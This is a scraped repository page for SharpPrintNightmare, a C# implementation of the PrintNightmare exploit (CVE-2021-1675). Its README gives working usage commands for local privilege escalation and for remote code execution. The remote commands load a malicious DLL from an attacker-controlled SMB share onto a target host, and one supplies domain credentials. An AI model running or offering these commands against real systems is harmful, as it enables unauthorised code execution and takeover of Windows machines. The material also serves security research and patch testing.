1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2024-11-14 10:07:54 +00:00
CVE-2021-1675/SharpPrintNightmare
cube0x0 b74cb00b1b c# remote version
Signed-off-by: cube0x0 <vidfelt@protonmail.com>
2021-07-01 23:30:25 +02:00
..
.vs/SharpPrintNightmare/v16 c# LPE version 2021-07-01 13:45:37 +02:00
SharpPrintNightmare c# remote version 2021-07-01 23:30:25 +02:00
README.md c# remote version 2021-07-01 23:30:25 +02:00

C# LPE Implementation of CVE-2021-1675

Usage

#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123